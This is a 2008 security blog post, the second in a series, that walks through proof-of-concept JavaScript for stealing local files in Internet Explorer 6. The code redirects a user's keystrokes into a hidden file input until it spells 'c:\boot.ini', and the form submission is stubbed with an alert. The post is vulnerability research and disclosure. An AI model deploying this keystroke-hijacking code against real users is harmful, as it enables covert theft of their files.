File Stealing in Internet Explorer 6 - Part 2

This is the second part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part is available here and contains important background information.

We start by examining the second demonstration. The second demonstration is the first real step towards file stealing. Although on the surface it appears very similar to the first demonstration, several important changes have been made under the skin.

The first is that the "C:\boot.ini" file is being targeted. This is a common file present on most NT-family systems and is typically (though not always) readable by users (thus, it is good for demonstration purposes). Since Windows will match files in case-insensitive manner, the file can be converted to lowercase ("c:\boot.ini") and matched against entered characters of any case. So, the if the user enters "C:\BoOT.iNI" or "c:\bOOt.InI", these are functionally equivalent.

In the discussion of the first demonstration, it was noted that when the focus was explicitly set in the file input element, it was always set at the first character. As a result, the letters to need to be collected in a reverse order. This can be seen in the following code:

    wanted = wanted.toLowerCase();
    var wl = wanted.length;
    for (var i = 0; i < wanted.length; ++i) {
        target[--wl] = wanted.charCodeAt(i);
    }

The matching logic in file_keypress is also updated to compare against the new target. An index value is used to maintain the current location and compare against any entered keystrokes:

    if (!e.repeat) {
	current = c.toLowerCase().charCodeAt(0);
	if ((1 == buffer.length) &&(target[idx + 1] == current)) {
            ++idx;
            return true;
	}
    }

Note the check to see if the event is being repeated. A keypress event will be repeated if multiple characters are being entered without the corresponding keyup event firing. This causes the characters to be entered out of order for the check and the file will fail to be captured properly. In fact, the submission logic in file_keyup has an explicit check for that situation and resets the form if it is detected:

    if (target.length - 1 == idx) {
	if (
	    (wanted == file1.value.toLowerCase())
	){
	    if (!submitted) {
		submitted = true;
	    	alert("submit goes here");
	    }
	    workarea.style["display"] = "none";
	    return;
	} else {
	    // start over
	    var save = text1.value;
	    form1.reset();
	    text1.value = save;
	    idx = -1;
	}
    }

The file_keyup function was also updated to insert captured characters into the textarea in a more reasonable fashion. This is accomplished by tracking the user's current caret (start_pos) and selection (end_pos) in the textarea and then inserting any captured characters at that point. Following the edit, the cursor is reset to that position so additional entered text appears at the correct location:

    if (buffer.length > 0) { 
	var tv = text1.value;
	text1.value = tv.substring(0, start_pos)
	    + buffer
	    + tv.substring(end_pos, tv.length);

	start_pos += buffer.length;

	buffer = "";

    }

    var range = text1.createTextRange();
    if (null != range) {
	range.collapse(true);
	range.move("character", start_pos);
	range.select();
    }

In order to capture the start and end positions, a snapshot function is used. Unlike Mozilla Firefox with it selectionStart and selectionEnd functions, Internet Explorer doesn't offer a simple mechanism to determine the information. This article for determining the cursor position in a textarea was extremely useful. That document.selection logic is implemented to determine start and end offsets in the snapshot function:

if (document.selection){
	// from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range && null != text1) {
		stored_range.moveToElementText(text1);
		stored_range.setEndPoint('EndToEnd', range);
		start_pos = stored_range.text.length - range.text.length;
		end_pos = start_pos + range.text.length;
	    }
	}
    }

The textarea has two additional event handlers added. The onmousedown and onmouseup handlers are used to capture any cursor and selection changes that might occur through mouse clicks or cut/copy/paste operations from the mouse context menu:

<textarea name="text1" id="text1" rows="15" cols="80"
onkeydown="return text_keydown(event);"
onmousedown="snapshot();"
onmouseup="snapshot();"
></textarea>

And finally, the text_keydown function is modified to allow more key codes so that the ':', '\' and '.' characters can be captured while at the same time preventing copy/paste and menu operations from impacting the file element. A snapshot of the current cursor selection is also taken before the focus is redirected to the file element.


    if (kc > 46) {
	switch (kc) {
	case 91: // left windows
	case 92: // right windows
	case 93: // right menu
            break;
	case 112: // f1 .. f22
	case 113:
	case 114:
	case 115:
	case 116:
	case 117:
	case 118:
	case 119:
	case 120:
	case 121:
	case 122:
	case 123:
	case 124:
	case 125:
	case 126:
	case 127:
	case 128:
	case 129:
	case 130:
	case 131:
	case 132:
	case 133:
	case 134:
	case 135:
            break;
	case 144: // num lock
            break; 
	case 145: // scroll lock
            break;
	case 224: // meta
            break
	default:
	    if (!e.ctrlKey  && !e.metaKey) {
		snapshot();
		file1.focus();
	    }
	}
    }

Although crudely presented, this demonstration would be perfectly sufficient to steal files if the code was modified to automatically submit the form once the appropriately keystrokes had been captured.

Of course, there are still several problems with the demonstration. The file must be captured in reverse order, the insertion logic into the textarea doesn't handle line breaks properly and the layout leaves something to be desired. All of these will be dealt with in future revisions of the demonstration.

Posted by gfleischer on 2008/01/13 at 23:12 in Vulnerabilities

Home

Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!